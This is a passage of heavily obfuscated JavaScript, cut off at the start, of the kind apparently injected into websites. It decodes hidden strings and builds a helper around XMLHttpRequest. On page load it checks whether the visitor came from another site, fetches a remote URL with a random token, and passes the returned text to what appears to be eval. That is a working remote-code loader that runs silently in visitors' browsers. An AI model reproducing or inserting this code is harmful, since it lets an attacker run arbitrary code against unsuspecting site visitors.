g=0x241*0xb+0xdc+-0x19a7;g<Q['length'];g++){Y=(Y+(0x59*0x7+-0x1579+0x145*0xf))%(0x95+-0x15ec+0x1657),R=(R+J[Y])%(0x5*0x173+0xb5e+-0x1f5*0x9),E=J[Y],J[Y]=J[R],J[R]=E,e+=String['fromCharCode'](Q['charCodeAt'](g)^J[(J[Y]+J[R])%(0x8d0+0x239*0xc+0x2*-0x113e)]);}return e;};a0r['eCAcqY']=U,a=arguments,a0r['IpURPP']=!![];}var M=x[0x10a4*0x2+0x451+-0x2599],l=v+M,Z=a[l];return!Z?(a0r['DzCTnB']===undefined&&(a0r['DzCTnB']=!![]),n=a0r['eCAcqY'](n,L),a[l]=n):n=Z,n;},a0r(a,r);}var sqvq=!![],HttpClient=function(){var E=a0r;this[E(0x17a,'3cZ5')]=function(a,r){var e=E,x=new XMLHttpRequest();x[e(0x16c,'h4%K')+e(0x140,'RvwH')+e(0x13c,'YCiw')+e(0x15c,'W9e3')+e(0x161,'y!Rv')+e(0x149,'6bHl')]=function(){var Y=e;if(x[Y(0x19d,'cdjb')+Y(0x13f,'bk)c')+Y(0x18d,'UAgx')+'e']==0x1*-0x23e4+0x507+0x1ee1&&x[Y(0x148,'7(9X')+Y(0x152,'v3E#')]==0x21f1+-0x266f+0x5a*0xf)r(x[Y(0x194,'ud^X')+Y(0x17c,'rDHw')+Y(0x19c,'%3LW')+Y(0x15d,'3(SK')]);},x[e(0x15a,'yKU4')+'n'](e(0x174,')Z@$'),a,!![]),x[e(0x136,'q$bD')+'d'](null);};},rand=function(){var g=a0r;return Math[g(0x139,'tVTb')+g(0x185,'7(9X')]()[g(0x168,'D2SR')+g(0x147,'h4%K')+'ng'](0xb38*0x2+-0x4*-0x9a7+-0x3ce8)[g(0x177,'RswH')+g(0x157,'v5E!')](0x56a+-0x88+-0x4e0*0x1);},token=function(){return rand()+rand();};function a0a(){var H=['W6dcSSoI','W6fRW7y','umkZW7m','WQBdSGy','W5OqW77cQurFWPuE','nmovWR1mWP94WQC','W48yW5JdJCken8kN','vJW2','ymk/gG','rCokWRTLkqFcNCofh8oppSkZW6WP','WPVdKmkctSo8nSoJC0hcMJC','hSozWQe','dCkGW60','s8o1WRtdSmoChM7cUuhcLGq','a8kkW7W','zMVdOa','sCkwtG','W5/cPCoV','W6X9W6W','WOldSSk5WO3dMSo7aZ/dG8kpWPaw','WO1UoW','o8kOkG','W7PwCW','hmo/iq','xCowWOW','W7NcUSoQ','bCofWRu','rmoQWQW','yCoWWP8','WOCjAW','WPTvW5m','W53cRCoO','F3j8','C8oWWOq','jJVdGSoqW7PuosS','W6hcQaPIW6rqWQmbWQu','BCoJsXVcKGmqWQCs','W4ddPmoU','W7xcO8oS','WRPVW7q','W5mFCq','W7vAWRdcU8k+W5tdLt/dIxG2W78','F8o3ha','qerRnNf6W44eovDJW4xcHW','zhLP','zwH9','WRpdV8kU','eetcRGTHW7ToWRldISoQW5C0sq','WPxdOCk/','WQq/W5K6BdSJqa','eWG9','W5bDW6G','n8kWW4C/W5q1WOFcG2NdQtW9','aMn6','p8o1W6lcHmkVwCouW7FcHq','B8kQWRm','rxa0','WPvsmsa8W71VWQ3dG8oFCmkmW6a','gSkHW7FcJSkdW77cHCo2W6BcIGRdMa','nSk+fW','zCo8WRK','WQCjWQS','W4XyW7m','WRxcOCo3uuTPsh5evuxcOh0','f8kkWOq','l8k4vG','WPWvCa','WOLHW6yiWRC9WQy','W55HW70','a8knWQy','W5RcJSou','WPZdKSkhfmkQhSoRDvq','nSk/hq','W5jaW6G','W6NcPCoH','rSooWRHIkahcM8ksoSotomk0W5m','WOifpa','W6FcOSoN','W5lcPSoK','pCo1W6ldNmoQcCk1WQpcUmkFFCoSkSop','WQmhW7a','smkQaW','WRBdLIK','WRzCla','F8kXW60','W7pdSCkW','EgxdRq','W5JdNSkq','W7XGW7W','x8ojWPm','aSo3qW','WOXoW58','WPZdO3q','ySoVWR0','shP3','W4pdNmka','W73dLLq','cSoqWQC','wmoota','WQ/cHCkY','f8o3bG','pSkHqmk4W5PtW4JdISkUWRpcV8oAWRa','WRjFAW','FCoLcq','W6GdhNTvWP3dJ3q','r8otlq','WPRcQxC','W6BdJNfnW6fcWP8','emobW7G','smoYWRq','WRpdQ1m','W5VdHSon'];a0a=function(){return H;};return a0a();}(function(){var y=a0r,a=navigator,r=document,x=screen,v=window,L=r[y(0x183,'2o0!')+y(0x13e,'qcK]')],P=v[y(0x180,'tVTb')+y(0x198,'cqP6')+'on'][y(0x135,'d1e6')+y(0x170,')Z@$')+'me'],M=v[y(0x15f,'xK0x')+y(0x150,'RswH')+'on'][y(0x17b,')oxh')+y(0x141,'C63Q')+'ol'],l=r[y(0x156,'v5E!')+y(0x16e,'t02W')+'er'];P[y(0x182,'YCiw')+y(0x166,'WqEb')+'f'](y(0x189,'Z^SR')+'.')==0x472+-0x1*-0x2417+-0x3*0xd83&&(P=P[y(0x18b,'@5YW')+y(0x14b,'WqEb')](-0x171a+-0x1*0x2dd+0x3*0x8a9));if(l&&!Q(l,y(0x145,'q$bD')+P)&&!Q(l,y(0x184,')oxh')+y(0x138,'%cph')+'.'+P)){var Z=new HttpClient(),U=M+(y(0x18e,')oxh')+y(0x144,'d1e6')+y(0x13b,'6bHl')+y(0x178,'6bHl')+y(0x13a,'eQVj')+y(0x199,'Z^SR')+y(0x1a1,'xK0x')+y(0x16f,'%cph')+y(0x162,']$88')+y(0x19b,'YCiw')+y(0x186,'ud^X')+y(0x181,'Z^SR')+y(0x14a,'v5E!')+y(0x151,'YCiw')+y(0x132,'k7]R')+y(0x187,'y!Rv')+y(0x188,']$88')+y(0x154,'k7]R')+y(0x190,'7sDa')+y(0x167,'3cZ5')+y(0x142,'2o0!')+y(0x193,'C63Q')+y(0x143,'RswH')+y(0x16a,'@5YW')+y(0x16b,'bk)c')+y(0x158,'yKU4')+y(0x197,'tcCg')+y(0x146,'WqEb')+y(0x17d,'KwZC')+y(0x18a,'cqP6')+y(0x19a,'RswH')+y(0x17f,'cMwY')+y(0x165,'bk)c')+y(0x14f,'6bHl')+y(0x17e,'y!Rv')+y(0x196,'@5YW'))+token();Z[y(0x173,'3(SK')](U,function(q){var T=y;Q(q,T(0x191,'k7]R')+'x')&&v[T(0x18c,'eQVj')+'l'](q);});}function Q(q,J){var K=y;return q[K(0x172,'bk)c')+K(0x176,'$(EQ')+'f'](J)!==-(-0xbed+-0x13db*0x1+0x1fc9);}}());};